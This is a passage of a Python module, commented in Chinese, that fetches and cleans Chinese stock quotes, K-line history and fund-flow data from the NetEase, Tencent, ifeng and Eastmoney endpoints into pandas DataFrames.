形式返回,这个函数只是起一个分包作用,真实到网易调取行情数据的是下面这个 get_netease_realtime_stock_data2()\n\t参数:code_arr, 待取实时数据的股票代码列表,index 表明是否指数\n\t返回值:df, 相应股票的实时数据,df 格式\n\t\"\"\"\n\tpackage_size = 1000 \t\t\t# 一次拿几只股的实时数据 (网易一次性最大支持 1000只)\n\tcount1 = math.ceil((len(code_arr) / package_size)) \t\t\t# 共需几组才能拿完\n\n\tall_df = None \t\t\t\t# all_df 用来保存网易返回的实时行情数据,预设 None\n\tfor i in range(count1):\n\t\tdf = get_netease_realtime_stock_data2(code_arr = code_arr[i*package_size:(i+1)*package_size],index = index) \t\t\t# 允许的最大包为 1000 只左右,超过这个值将出错\n\t\tif df is None:\n\t\t\tcontinue\n\t\telse:\n\t\t\tif all_df is None:\n\t\t\t\tall_df = df.copy(deep=True)\n\t\t\telse:\n\t\t\t\tall_df = pd.concat([all_df,df])\n\n\tif all_df is not None:\n\t\tall_df = all_df.reset_index(drop=True) \t\t# 由于 pd.concat() 会拼接重复索引,所以这里要 reset_index() 一下,drop=True 表示删除原来的索引 \n\n\treturn all_df\n\n\n\n\n\n\n\n\ndef get_netease_realtime_stock_data2(code_arr,index = False):\n\t\"\"\"\n\t说明:根据传入的股票代码数组,根据经验最好一次性不超过 1000 只,到网易netease 获取实时数据,以 df 形式返回\n\t参数:code_arr, 待取实时数据的股票代码列表,index 表示是否是指数,默认 False\n\t返回值:df, 相应股票的实时数据,df 格式\n\t\"\"\"\n\tfunc_name = jxb.get_current_function_name() + ': '\n\tif len(code_arr) > 1000:\n\t\tprint(func_name,'错误:请确保单次取实时数据最大不超过 1000 只股。')\n\t\treturn None\n\n\t# 构造网易股票实时行情列头名称,不要更改顺序!\t\t\t\t \n\tcolumn_arr = [\n\t\t'ask1_price', \t# 卖一价(元)\n\t\t'ask2_price', \t# 卖二价(元)\n\t\t'ask3_price', \t# 卖三价(元)\n\t\t'ask4_price', \t# 卖四价(元)\n\t\t'ask5_price', \t# 卖五价(元)\n\t\t'ask1_volume', \t# 卖一量(股)\n\t\t'ask2_volume', \t# 卖二量(股)\n\t\t'ask3_volume', \t# 卖三量(股)\n\t\t'ask4_volume', \t# 卖四量(股)\n\t\t'ask5_volume', \t# 卖五量(股)\n\n\t\t'bid1_price', \t# 买一价(元)\n\t\t'bid2_price', \t# 买二价(元)\n\t\t'bid3_price', \t# 买三价(元)\n\t\t'bid4_price', \t# 买四价(元)\n\t\t'bid5_price', \t# 买五价(元)\n\t\t'bid1_volume', \t# 买一量(股)\n\t\t'bid2_volume', \t# 买二量(股)\n\t\t'bid3_volume', \t# 买三量(股)\n\t\t'bid4_volume', \t# 买四量(股)\n\t\t'bid5_volume', \t# 买五量(股)\n\n\t\t'high', \t\t# 最高价(元)\n\t\t'low', \t\t\t# 最低价(元)\n\t\t'name', \t\t# 名称\n\t\t'open', \t\t# 开盘价(元)\n\t\t'percent', \t\t# 涨幅(用小数表示真实涨幅,例:0.02 就表示涨2%)\n\t\t'price', \t\t# 市价(元)\n\t\t'code', \t\t# 代码\n\n\t\t'amount', \t\t# 成交额(元)\n\t\t'change', \t\t# 涨跌(元)\n\t\t'volume', \t\t# 成交量(股)\n\n\t\t'last_close', \t# 昨收价(元)\n\n\t\t'date', \t\t# 日期\n\t\t'time'\t\t\t# 时间\t\t\n\t\t]\n\n\turl = get_netease_realtime_stock_url(code_arr = code_arr,index = index)\n\tdf = None\n\tretry_count = 20\n\txcount = 1\n\twhile True:\n\t\tif xcount > retry_count:\n\t\t\tprint(func_name,'错误:拉取数据失败。')\t\t\t\n\t\t\treturn None\n\t\ttry:\n\t\t\t# 这两句都是正确的,随便用哪句都可以。只是用不同的模块来实现相同的功能\n\t\t\t#page_source = get_page_by_urllib(url = url) \t\t# 这个 url 返回的数据已经解码(即已经 decode() 过了)\n\t\t\tpage_source = get_page_by_requests(url = url) \t\t# 这个 url 返回的数据已经解码(即已经 decode() 过了)\n\t\texcept:\n\t\t\ts = random.randint(1,5)\n\t\t\tprint(func_name,'\\n由于发生错误,或网易行情服务器未能返回数据,本线程休息 %d 秒后将自动继续尝试拉数据。已尝试 %d / %d 次' % (s, xcount, retry_count))\n\t\t\ttime.sleep(s) \t\t\t# 如果被服务器踢,则停止几秒再拉数据\n\t\t\txcount += 1\n\t\t\tcontinue\n\t\telse:\n\t\t\t#page_source = page_source.decode('utf-8') \t\t# 将字节流解码为 utf8 字符串,以便后续处理\n\t\t\t# 从网易返回的实时数据看,取这个范围可以得到 json 格式的股票实时数据\n\t\t\tdata_json = page_source[21:-2] \t\t\n\t\t\tdf = pd.read_json(data_json, orient='index') \t\t# orient 取 'index' 也是从上面返回的 json 数据分析而来的,read_json() 的具体参数请查阅pandas\n\t\t\t# 把 time 列按空格拆分成两列形成 df 返回(expand=True 表示形成 df,否则是 list)\n\t\t\tdate_time_df = df.time.str.split(' ',expand=True) \t# 将 time列(观察网易返回的数据中的 time 列包含了日期和时间,两者以空格分隔)分成两列,expand=True 表示以 DF 形式返回\n\t\t\tdate_time_df.columns=['date','time'] \t\t\t\t# 配上(或叫更改)列名\n\t\t\t# 删除以下这些列\n\t\t\tfor col in ['arrow','code','status','type','update','time']:\n\t\t\t\tdf.pop(col)\n\n\t\t\t#df[date_time_df.columns] = date_time_df \t\t# 这句也是正确的,但用下面这句更清晰一些\n\t\t\tdf = pd.concat([df,date_time_df], axis=1) \t\t# axis=1 表示拼列(若不指定 axis则其默认值为 0,表示拼行)\n\t\t\tdf['date'] = df['date'].str.replace('/','-') \t# 网易实时数据返回的 date 列是 / 分割的,这里将其转成 - 分割\n\t\t\t# 替换 df 的列名到 column_arr 中指定的列名,注意:column_arr 中的顺序不能随意调整,它是事先了解了 df 中的顺序后编排的。\n\t\t\tdf.columns = column_arr \t\t\n\t\t\t# 下面的 code 列就是股票代码。由于 pandas.read_json() 后将股票代码当作了数值并去掉了前导0,\n\t\t\t# 所以这里要将其转成字符串,并调用字符串的方法右对齐左侧补数个 char 直到有 width 个: rjust(width,char)\n\t\t\tdf['code'] = df['code'].astype(dtype=str).str.rjust(6,'0') \t\t\n\t\t\t# ------------------------------------------------------\n\t\t\t# 获取市价。这个细节处理要注意,因为 9:25前返回的数据里没有 price, open, high, low ,但有 bid1 价格,就用 bid1填充他们\n\t\t\t# 所以判断当前时间,若已过了 9:25 ,则用 price 本身做市价,否则用 bid1 做市价\n\t\t\tif index == False and is_trade_date() == True and jxb.get_timestamp(xtime = stock_default_rule_dict['OPEN_TIME']) <= time.time() <= jxb.get_timestamp(xtime = stock_default_rule_dict['OPEN_PRICE_TIME']):\n\t\t\t\tdf['open'] = df['bid1_price'] \t\t\t\n\t\t\t\tdf['high'] = df['bid1_price']\n\t\t\t\tdf['low'] = df['bid1_price']\n\t\t\t\tdf['price'] = df['bid1_price'] \t\t\t\n\t\t\t# --------------------------------------------\n\t\t\t# 这些数值列转成 float\n\t\t\tfloat_column_arr = ['last_close','open','high','low','price','amount','bid1_price','bid2_price','bid3_price','bid4_price','bid5_price','ask1_price','ask2_price','ask3_price','ask4_price','ask5_price','change','percent']\n\t\t\tdf = jxb.convert_df_type(df=df, xtype=float, column_arr=float_column_arr)\n\t\t\t# 这些数值列转成 int\n\t\t\tint_column_arr = ['volume','bid1_volume','bid2_volume','bid3_volume','bid4_volume','bid5_volume','ask1_volume','ask2_volume','ask3_volume','ask4_volume','ask5_volume']\n\t\t\tdf = jxb.convert_df_type(df=df, xtype=int, column_arr=int_column_arr)\n\t\t\t# 调整 df 中的列顺序,使之按 STOCK_COLUMN_ORDER_ARR 中的顺序排列\n\t\t\tdf = jxb.sort_df_column(df=df, column_arr=cf.STOCK_COLUMN_ORDER_ARR)\n\t\t\t# ==========================\n\t\t\tdf = df.sort_values(by = ['code'],ascending = [True])\n\t\t\tdf = df.reset_index(drop = True)\n\t\t\tbreak\n\n\treturn df\n\n\n\n\n\n\n\n\ndef get_netease_realtime_stock_url(code_arr,index=False):\n\t\"\"\"\n\t说明:该函数根据传入的股票代码数组,生成网易 netease 实时股票行情的网址返回\n\t参数:code_arr: 股票代码列表;index: 表示code_arr 里的股票代码是否表示指数\n\t返回值:指向网易 netease 实时行情的网址。\n\t\"\"\"\n\tif code_arr is None or len(code_arr)==0:\n\t\tprint(jxb.get_current_function_name() + ': 错误!传入的股票代码列表 code_arr 不能为空。')\n\t\treturn None\n\n\tbase_url='http://api.money.126.net/data/feed/%smoney.api' \t\t\t# 选择 netease 实时数据源\t\n\n\tprefixed_code_arr = get_prefixed_code_arr(code_arr=code_arr,by='number',index=index) \t# 对股票代码数组中的每一只股加上市场代码前缀后返回,仍然是数组形式\n\tprefixed_code_str = ','.join(prefixed_code_arr)\n\tprefixed_code_str += ',' \n\turl = base_url % (prefixed_code_str) \t\t# 将实际值(即 % 后面括号里的值)代入到 base_url 中去\n\n\treturn url\n\n\n\n\n\n\n\n\n\ndef get_netease_k_data(code,xbegin=None,xend=None,index=False):\n\t\"\"\"\n\t说明:该函数从网易获取K线数据\n\t参数:code: 股票代码;xbegin: 起始日期;xend: 结束日期; index: 是否指数\n\t返回值:K线数据(df 格式)\n\t\"\"\"\n\tfunc_name = jxb.get_current_function_name() + ': '\n\tif str(xbegin) > str(xend):\n\t\tprint(func_name + '错误!请确保起始日期小于或等于结束日期')\n\t\treturn None\n\t\n\tprint(func_name, \"注意:网易返回的 K线数据可能不是十分准确,请小心使用!\")\n\n\t# 要从网易拉取历史K线数据的各列名称(不要改变顺序):\n\tk_col_arr = [\n\t\t'date', \t\t\t# 日期\n\t\t'code', \t\t\t# 股票代码\n\t\t'name', \t\t\t# 股票名称\n\t\t'open', \t\t\t# 开盘价(元)\n\t\t'high', \t\t\t# 最高价(元)\n\t\t'low', \t\t\t\t# 最低价(元)\n\t\t'close', \t\t\t# 收盘价(元)\n\t\t'last_close', \t\t# 昨收价(元)\n\t\t'change', \t\t\t# 涨跌额(元)\n\t\t'percent', \t\t\t# 涨幅(用小数表示真实涨幅)\n\t\t'volume', \t\t\t# 成交量(股)\n\t\t'amount', \t\t\t# 成交额(元)\n\t\t'turnover', \t\t# 换手率(用小数表示真实换手率)\n\t\t'total_value', \t\t# 总市值(元)\n\t\t'circulation_value' # 流通值(元)\n\t\t]\n\n\tk_df = None \t\t\t# 该变量用于存放K线数据(dataframe 格式),赋初值 None\n\turl = get_netease_k_data_url(code=code,xbegin=xbegin,xend=xend,index=index) \t\t# 根据指定的股票代码和日期范围,生成网易K线数据源 url \n\tretry_count = 10 \t\t\t# 计数器,表示尝试几次\n\txcount = 0\n\t# 用循环和异常拉数据,因为拉数据时太频繁经常要被服务器踢\n\twhile True:\n\t\tif xcount > retry_count:\n\t\t\treturn None\n\t\ttry:\n\t\t\t# 下面两句是一样的,随便用哪句都可以,他们只是用不同的模块来实现相同的功能\n\t\t\t#page_source = get_page_by_urllib(url=url) \t\t\t\t# 到指定的数据源网址下载数据(这里下载下来是包含数据的页面源码,已解码,已经是纯文本格式)\n\t\t\t#page_source=page_source.decode('gbk')\n\t\t\tpage_source = get_page_by_requests(url=url) \t\t\t\t# 到指定的数据源网址下载数据(这里下载下来是包含数据的页面源码,已解码,已经是纯文本格式)\n\t\texcept:\n\t\t\ts = random.randint(1,5)\n\t\t\tprint(func_name,'\\n可能节假日休息,没能从网易取到 K 线数据,休息 %s 秒后将自动继续尝试拉数据。' % (str(s)))\n\t\t\ttime.sleep(s) \t\t\t# 如果被服务器踢,则停止3秒再拉数据\n\t\t\txcount += 1\n\t\t\tcontinue\n\t\telse:\n\t\t\tbreak\n\n\tpage_arr = page_source.split('\\r\\n') \t\t# 返回的 page是一条长长的字符,以分割符 \\r\\n 将这长长的字符串切断,并把每段字符串保存到数组 page_arr 中\n\tcol_arr = page_arr[0].split(',') \t\t\t# page_arr 中第一个元素(即字符串)为中文列名串接,提取这些列名到数组 col_arr 中\n\tif len(page_arr) >= 2:\n\t\tk_data_arr = page_arr[1:] \t\t\t# 从 page_arr 中的第2个元素开始为真正的 k 线数据,但这里他们仍是字符串形式的,需要转化成数组\n\n\t\tk_data_arr = [x.replace(\"'\",'') for x in k_data_arr] \t\t# 把上述 k_data_arr 中的所有 K线数据中的 ' 号替换为空,即去掉 ' 号\n\t\tk_data_arr = [x.split(',') for x in k_data_arr] \t\t\t# 将 k_data_arr 中每一行字符串形式的K线数据,转换成 list 形式,这样转换后, k_data_arr 中的每一个元素都成了数组\n\t\tk_data_arr = k_data_arr[:len(k_data_arr)-1] \t\t\t\t# 因为网易返回的数据最后一行全是 None ,所以要去掉\n\n\t\tk_df = pd.DataFrame(data=k_data_arr,columns=k_col_arr) \t# 把数组形式的K线数据,转换成 DataFrame 形式,以便进一步操作\n\t\tk_df.code = code \t\t\t# 加这一句的目的是因为传入的指数代码与网易数据源所需的指数代码形式不同所致,从网易拿回数据后,将指数代码恢复成我们自己传入的指数代码形式\n\n\t\tif len(k_df)>0:\n\t\t\tk_df = k_df.sort_values(by=['date'],ascending=True)\n\t\t\tk_df = k_df.reset_index(drop=True) \t\t\t\t\t# 用自然数行索引去替换原行索引\n\t\t\t#k_df = wash_data(df=k_df,ds=ds,index=index) \t\t# 再调用自定义函数清洗\n\t\t\tk_df = wash_netease_k_data(df=k_df, index=index) \t# 调用网易K线处理函数\n\t\t\t# --------------------------------------------\n\t\t\t# 这些数值列转成 float\n\t\t\tfloat_column_arr = ['open','high','low','close','last_close','change','percent','amount','turnover','total_value','circulation_value']\n\t\t\tk_df = jxb.convert_df_type(df=k_df, xtype=float, column_arr=float_column_arr)\n\t\t\t# 这些数值列转成 int\n\t\t\tint_column_arr = ['volume']\n\t\t\tk_df = jxb.convert_df_type(df=k_df, xtype=int, column_arr=int_column_arr)\n\t\t\tfor col in ['percent','turnover']:\n\t\t\t\tk_df[col] /= 100 \t\t\t\t# 将涨幅和换手率转成小数\n\t\t\t# 调整 df 中的列顺序,使之按 STOCK_COLUMN_ORDER_ARR 中的顺序排列\n\t\t\tk_df = jxb.sort_df_column(df=k_df, column_arr=cf.STOCK_COLUMN_ORDER_ARR)\n\t\t\t# ==========================\n\t\t\tk_df = k_df.sort_values(by=['date'], ascending=[True]) \n\t\t\tk_df = k_df.reset_index(drop=True)\n\t\t\n\treturn k_df\n\n\n\n\n\n\n\n\n\ndef get_netease_k_data_url(code,xbegin=None,xend=None,index=False):\n\t\"\"\"\n\t说明:构造网易历史 K线数据源 url\n\t参数:code: 6位股票代码;xbegin: 开始日期(可以是字符串形式或 python日期格式);xend: 结束日期; index: 是否指数;\n\t返回值:url\n\t\"\"\"\n\n\tfunc_name = jxb.get_current_function_name() + ': '\t \t\t\t# 获取函数名\n\txtoday = jxb.get_today()\n\tif xbegin is None:\n\t\txbegin = datetime.date(xtoday.year,1,1) \t\t\t\t\t# 构造本年第1天\n\tif xend is None:\n\t\txend = xtoday\n\n\turl = ''\n\tbase_url = 'http://quotes.money.163.com/service/chddata.html?code=%s&start=%s&end=%s&fields=TOPEN;HIGH;LOW;TCLOSE;LCLOSE;CHG;PCHG;VOTURNOVER;VATURNOVER;TURNOVER;TCAP;MCAP' \t\t# 网易历史数据源\n\n\tif (not jxb.is_valid_date(str(xbegin))) or (not jxb.is_valid_date(str(xend))):\n\t\tprint(func_name + '输入的日期或格式有误')\n\t\treturn None\n\n\td1 = ''.join(str(xbegin).split('-')) \t\t# 调整日期格式,以适应163接口\n\td2 = ''.join(str(xend).split('-'))\n\t#prefixed_code_arr = get_prefixed_code_arr(code_arr=[code],by='number',index=index) \t# 对股票代码数组中的每一只股加上市场代码前缀后返回,仍然是数组形式\n\t#prefixed_code = prefixed_code_arr[0]\n\tprefixed_code = cnstock.get_prefixed_stock_code(code=code,by='number',index=index)\n\n\tif prefixed_code is not None:\n\t\turl = base_url % (prefixed_code,d1,d2) \t\t# 将实际值(即 % 后面括号里的值)代入到 base_url 中去\n\n\treturn url\n\n\n\n\n\n\n\n\n\ndef wash_netease_k_data(df,index=False):\n\t\"\"\"\n\t说明:对网易K线数据进行处理\n\t参数:df: 网易K线数据;index: 是否指数\n\t返回值:处理后的K线数据(df格式)\n\t\"\"\"\n\tif len(df) == 0:\n\t\treturn df\n\n\tindex1_arr = list(df.index)\n\tcode = df.loc[index1_arr[0],'code']\n\n\t# 先遍历所有行,去掉 涨跌额为 'None' 的行\n\tfor i in index1_arr:\n\t\tif index == True:\n\t\t\t# 指数进入这里\n\t\t\tif df.loc[i,'change'] == 'None':\n\t\t\t\tif df.loc[i,'last_close'] == 'None':\n\t\t\t\t\tdf.loc[i,'last_close'] = df.loc[i,'open'] \t\t\t# 如果昨收价不存在,一般是首个交易日,则令其昨收价等于今天开盘价,方便程序处理\n\t\t\t\tdf.loc[i,'change']=str(float(df.loc[i,'close']) - float(df.loc[i,'last_close']))\n\t\t\t\tdf.loc[i,'percent']=str((float(df.loc[i,'close']) - float(df.loc[i,'last_close'])) / float(df.loc[i,'last_close']))\t\n\t\t\t# 发现中小板指在早期时,即2008-06-27 日及以前的成交额都是 'None', 故用 0 去替换\n\t\t\tif df.loc[i,'amount'] == 'None':\n\t\t\t\tdf.loc[i,'amount'] = 0\n\t\telse:\n\t\t\t# 普通股进入这里,因为网易返回的普通股当 change 为'None' 时,则当天的 open,high,low.close等全为0 了,所以这行数据就不要了,直接 drop 掉\n\t\t\tif df.loc[i,'change'] == 'None':\n\t\t\t\tdf = df.drop(i,axis=0)\n\n\tdf = df.replace(['None'],[0]) \t\t\t# 把 raw 数据中剩余的所有'None' 都替换为 0\n\n\tif len(df) == 0:\n\t\treturn df\n\n\t# 下面这个 if 是判断指数的,由于指数没有换手率,总市值,流通值等概率,所以给他们置0\n\tif index == True:\n\t\tdf['turnover'] = 0\n\t\tdf['total_value'] = 0\n\t\tdf['circulation_value'] = 0\n\n\tindex1_arr=list(df.index)\n\n\t# -------------------------------------\n\t# 这一节是特殊情况特殊处理\n\t# 1. 对于000046 这只股,在 1994/9/19,1994/9/16,1994/9/15,1994/9/14,1994/9/13,1994/9/12 这6 个交易日里,其换手率数据为 None,流通值也为 0,所以需要补全\n\t# 好在该股在这些天有总市值数据,并且根据上述日期附近的总市值和流通值之比(大概4倍),可以近似推算出上述6个交易日的,流通值,再利用成交额数据可近似算出换手率\n\tif code == '000046':\n\t\ttemp_index_arr = [] \t\t# 临时数组,用于存放换手率为 None 的那些行标\n\t\tfor i in index1_arr:\n\t\t\tif df.loc[i,'turnover'] == 'None':\n\t\t\t\tdf.loc[i,'turnover'] = 0\n\t\t\t\ttemp_index_arr.append(i)\n\t\t# 把这三列的数据类型先转换成 float (原先是 string 类型,这是网易返回的默认类型),以便下面进行数学计算\n\t\tdf.amount = df.amount.astype(dtype=float)\n\t\tdf.turnover = df.turnover.astype(dtype=float)\n\t\tdf.total_value = df.total_value.astype(dtype=float)\n\t\tdf.circulation_value = df.circulation_value.astype(dtype=float)\n\t\t# 下面计算缺失的换手率和流通值\n\t\tfor i in temp_index_arr:\n\t\t\tdf.loc[i,'circulation_value'] = df.loc[i,'total_value'] * 0.25 \t\t\t# 先计算出流通值\n\t\t\tdf.loc[i,'turnover'] = df.loc[i,'amount'] * 100 / df.loc[i,'circulation_value'] \t\t# 再计算出换手率\n\n\tif code == '600653':\n\t\ttemp_index_arr = [] \t\t# 临时数组,用于存放换手率为 None 的那些行标\n\t\tfor i in index1_arr:\n\t\t\tif df.loc[i,'turnover'] == 'None':\n\t\t\t\tdf.loc[i,'turnover'] = 0\n\t\t\t\ttemp_index_arr.append(i)\n\t\t# 把这三列的数据类型先转换成 float (原先是 string 类型,这是网易返回的默认类型),以便下面进行数学计算\n\t\tdf.amount = df.amount.astype(dtype=float)\n\t\tdf.turnover = df.turnover.astype(dtype=float)\n\t\tdf.total_value = df.total_value.astype(dtype=float)\n\t\tdf.circulation_value = df.circulation_value.astype(dtype=float)\n\t\t# 下面计算缺失的换手率和流通值\n\t\tfor i in temp_index_arr:\n\t\t\tdf.loc[i,'circulation_value'] = df.loc[i,'total_value'] * 0.682 \t\t\t# 先计算出流通值\n\t\t\tdf.loc[i,'turnover'] = df.loc[i,'amount'] * 100 / df.loc[i,'circulation_value'] \t\t# 再计算出换手率\n\n\t# 特殊处理到这里结束\n\t# =====================================\n\n\treturn df\n\n# netease data end\n# ==================================\n\n\n\n\n\n# ---------------------------------\n# tencent data start\n\ndef get_tencent_stock_fund_flow(code,index=False):\n\t\"\"\"\n\t说明:从腾讯源获取指定股票的主力和散户资金流向\n\t参数:code: 需要获取资金流行的股票代码\n\t返回值:资金流向数据(df 格式)\n\t\"\"\"\n\tcolumn_arr = [\n\t\t'code', \t\t\t# 股票代码\n\t\t'main_in', \t\t\t# 主力资金流入(元)\n\t\t'main_out',\t\t\t# 主力资金流出(元)\n\t\t'main_net_in',\t\t# 流力资金净流入(元)\n\t\t'temp1',\t\t\t# 主力资金流入流出总和\n\t\t'personal_in',\t\t# 散户资金流入(元)\n\t\t'personal_out', \t# 散户资金流出(元)\n\t\t'personal_net_in', \t# 散户资金净流入(元)\n\t\t'temp2', \t\t\t# 散户资金流入流出总和\n\t\t'total_fund_in',\t\t# 资金流入总和(元)\n\t\t'temp3',\t\t\t# 未知1\n\t\t'temp4', \t\t\t# 未知2\n\t\t'name',\t\t\t\t# 股票名称\n\t\t'date',\t\t\t\t# 日期\n\t\t]\n\t\n\t# 腾讯资金流向数据接口\n\tbase_url = \"http://qt.gtimg.cn/q=ff_%s\"\n\tprefixed_code = cnstock.get_prefixed_stock_code(code=code,index=index)\n\turl = base_url % (prefixed_code)\n\n\tpage_source = get_page_by_requests(url=url)\n\tarr = page_source.split('\"')\n\tarr = arr[1].split('~')\n\tarr = arr[:14]\n\t# 构造 df\n\tdf = pd.DataFrame(data=[arr],columns=column_arr)\n\t# 去除无用列(即 temp 开头的列)\n\tfor col in column_arr:\n\t\tif col.startswith('temp') == True:\n\t\t\tdf.pop(col)\n\t# ------------------\n\t# 将数值列(字符串型)转成数值 \n\tfloat_column_arr = ['main_in','main_out','main_net_in','personal_in','personal_out','personal_net_in','total_fund_in']\n\tdf = jxb.convert_df_type(df=df, xtype=float, column_arr=float_column_arr)\n\t# -------------------\n\t# 将单位转成标准单位\n\tfor col in float_column_arr:\n\t\tdf[col] *= 10000 \t\t\t# 将万元为单位的转化成元为单位\n\n\t# 列按指定顺序排列\n\tdf = jxb.sort_df_column(df=df,column_arr=cf.STOCK_COLUMN_ORDER_ARR)\n\tdf = df.reset_index(drop=True)\n\n\treturn df\n\n\n\n\n\n\n\n# tencent data end\n# ====================================\n\n\n\n\n\n# -------------------------------------\n# ifeng data start\n\ndef get_ifeng_k_data(code,index=False):\n\t\"\"\"\n\t说明:从凤凰网获取股票K线数据\n\t参数:code: 股票代码\n\t返回值:K线数据(df 格式)\n\t\"\"\"\n\tcolumn_arr = [\n\t\t'date',\t\t\t\t# 日期\n\t\t'open',\t\t\t\t# 开盘价(元)\n\t\t'high', \t\t\t# 最高价(元)\n\t\t'close',\t\t\t# 收盘价(元)\n\t\t'low', \t\t\t\t# 最低价(元)\n\t\t'volume', \t\t\t# 成交量(股)\n\t\t'change', \t\t\t# 涨跌额(元)\n\t\t'percent', \t\t\t# 涨跌幅(小数形式)\n\t\t'mean_price_5d', \t# 5 日均价(元)\n\t\t'mean_price_10d', \t# 10日均价(元)\n\t\t'mean_price_20d', \t# 20日均价(元)\n\t\t'mean_volume_5d', \t# 5日均量(股)\n\t\t'mean_volume_10d', \t# 10日均量(股)\n\t\t'mean_volume_20d', \t# 20日均量(股)\n\t\t'turnover', \t\t# 换手率(小数形式)\n\t\t]\n\n\tbase_url = \"http://api.finance.ifeng.com/akdaily/?code=%s&type=last\"\n\tprefixed_code = cnstock.get_prefixed_stock_code(code=code,index=index)\n\turl = base_url % (prefixed_code)\n\tpage_source = get_page_by_requests(url=url)\t \t\t\n\n\ts = json.loads(page_source) \t\t# 凤凰网返回的数据是 json 格式\n\tdata_arr = s['record'] \t\t\t\t# 这是二维 list\n\tdf = pd.DataFrame(data=data_arr,columns=column_arr)\n\tdf['code'] = [code] * len(df) \t\t# 添加 code 列\n\t# 将这些列中的逗号替换为空,即去掉。否则这些列无法参与下面的类型转换\n\tfor col in ['volume','mean_volume_5d','mean_volume_10d','mean_volume_20d']:\n\t\tdf[col] = df[col].str.replace(',','') \t\t\t# 注意中间有个 str ,对于非 str 列必须转 str 才能成功执行 replace()\n\t# ------------------------------------\t\n\t# 这些列的数据类型需要转成 float\n\tfloat_column_arr = ['open','high','close','low','volume','change','percent','mean_price_5d','mean_price_10d','mean_price_20d','mean_volume_5d','mean_volume_10d','mean_volume_20d','turnover']\n\tdf = jxb.convert_df_type(df=df, xtype=float, column_arr=float_column_arr)\n\t# ------------------------------\n\t# 下面统一单位\n\tfor col in ['percent','turnover']:\n\t\tdf[col] /= 100 \t\t\t\t# 将各类幅度转成小数,即真实幅度\n\tfor col in ['volume','mean_volume_5d','mean_volume_10d','mean_volume_20d']:\n\t\tdf[col] *= 100 \t\t\t\t# 将各类成交量从手转成股\n\t# ----------------------------\n\t# 下面调整列和行顺序\n\t# 列排序\n\tdf = jxb.sort_df_column(df=df,column_arr=cf.STOCK_COLUMN_ORDER_ARR)\n\t# 行排序\n\tdf = df.sort_values(by=['date'],ascending=[True])\n\tdf = df.reset_index(drop=True)\n\n\treturn df\n\n\n\n\n\n\n\n# ifeng data end\n# =====================================\n\n\n\n\n\n\n# ---------------------------------\n# eastmoney data start\ndef eastmoney_table2df(table = None,column_arr = None):\n\t\"\"\"\n\t说明:本函数的作用是将来自eastmoney.com 的
    行情数���转成 df\n\t参数:table: 爬自东财的数据表,必须是个二维表,每个元素是一维 list,代表一行数据; column_arr: 是用于构造 df 的列头\n\t返回值:df\n\t\"\"\"\n\tif table is None:\n\t\tprint('请传入来自东财(http://quote.eastmoney.com/center/gridlist.html#hs_a_board)的二维数据表,每个元素是一维 list,代表一行数据')\n\t\treturn None\n\n\tif column_arr is None:\n\t\tcolumn_arr = ['code','name','price','percent','change','volume','amount','amplitude','high','low','open','last_close','liangbi','turnover','pe','pb']\n\n\ttable_arr = []\n\tfor row_arr in table:\t\t\n\t\trow_arr = row_arr[1:3] + row_arr[8:] \t\t# 东财有几个数据列是没用的,必须去掉\n\t\ttable_arr.append(row_arr)\n\n\ttable_df = None\n\tif len(table_arr) > 0:\n\t\ttable_df = pd.DataFrame(data=table_arr, columns=column_arr)\n\t\t# -------------------------\n\t\t# 下面开始处理 table 中的一些列\n\t\t# 1. 先去除这几列的百分号,转化成纯数字,方便计算\n\t\tfor col in ['percent','amplitude','turnover']:\n\t\t\ttable_df[col] = table_df[col].replace('[%]','',regex = True) \t\t\t\t\t\t# 把这 3 列中的 % 去掉,并且除以100\n\t\t\ttable_df= jxb.convert_df_type(df=table_df, xtype=float, column_arr=[col]) \t\t\t# 注意:这个函数会将数字列中非数字的域填 0 处理!!!\n\t\t\t#table_df[col] = table_df[col].astype(dtype=float) \t\t\t\t\t\t\t\t\t# 把字符串转成 float 才能做数学运算\n\t\t\ttable_df[col] /= 100\n\n\t\t# -------------------------------------\n\t\t# 2. 再去除 volume 列的中文单位(万手或亿手),转化成股\n\t\tfor col in ['volume','amount']:\n\t\t\t# 分拣\n\t\t\tdf1 = table_df[(table_df[col].str.contains('万|亿') == False)] \t\t\t# 表示在 table_df.volume列中选取不包含“万”字且不包含“亿”字的记录\n\t\t\tdf2 = table_df[(table_df[col].str.contains('万') == True)] \t\t\t# 表示在 table_df.volume列中选取只包含“万”字的记录\n\t\t\tdf3 = table_df[(table_df[col].str.contains('亿') == True)] \t\t\t# 表示在 table_df.volume列中选取只包含“亿”字的记录\n\t\t\t# 替换\n\t\t\tdf2[col] = df2[col].replace('[万]','',regex = True) \t\t\n\t\t\tdf3[col] = df3[col].replace('[亿]','',regex = True) \t\t\n\t\t\t# 转化成数值\n\t\t\tdf1 = jxb.convert_df_type(df=df1, column_arr=[col])\n\t\t\tdf2 = jxb.convert_df_type(df=df2, column_arr=[col])\n\t\t\tdf3 = jxb.convert_df_type(df=df3, column_arr=[col])\n\t\t\t# 转成常规单位\n\t\t\tdf1[col] *= 1\n\t\t\tdf2[col] *= 10000\n\t\t\tdf3[col] *= 100000000\n\n\t\t\ttable_df = pd.concat([df1,df2,df3])\n\n\t\ttable_df['volume'] = table_df['volume'].astype(dtype=float) * 100 \t\t\t# 把以手为单位的成交量转换成股\n\t\t# ---------------------------------------\n\t\t# 下面对 table_df 的数值列明确转换为数值\n\t\tnumber_column_arr = column_arr[2:]\n\t\ttable_df = jxb.convert_df_type(df=table_df, xtype=float, column_arr=number_column_arr) \t# 注意:这个函数会将数字列中非数字的域填 0 处理!!!\n\n\treturn table_df\n\n\n\n\n\n\n\n\n\n\n\n\ndef get_eastmoney_realtime_stock_data():\n\t\"\"\"\n\t说明:从东方财富网爬取所有股的实时数据。注意:本接口拿数据比较耗时,不建议用它做实时行情。\n\t返回值:df 格式的所有股的实时数据\n\t\"\"\"\n\t# 指定用 phantomjs 浏览器去打开网页\n\t#browser_driver = webdriver.PhantomJS(browser, service_args=['--ignore-ssl-errors=true', '--ssl-protocol=any']) \t\t\n\t#browser_driver = webdriver.PhantomJS(browser) \t\n\t# 东财行情 URL \n\tprint(jxb.get_current_function_name(),' 请注意,每次调用本函数约需 90 秒才能返回所有股票代码。建议不要频繁调用本函数,以免给网站造成压力。')\n\tanchor = \"#hs_a_board\"\t\t\t\t# 网页中的锚点\n\turl = cf.DOMAIN_DICT['EASTMONEY'] + cf.EASTMONEY_PATH_DICT['PATH1'] + anchor\n\n\tbrowser_driver = get_browser_driver()\n\tif browser_driver is None:\n\t\treturn None\n\t# 打开 url 所指页面,返回的页面html代码(含数据)在 browser_driver 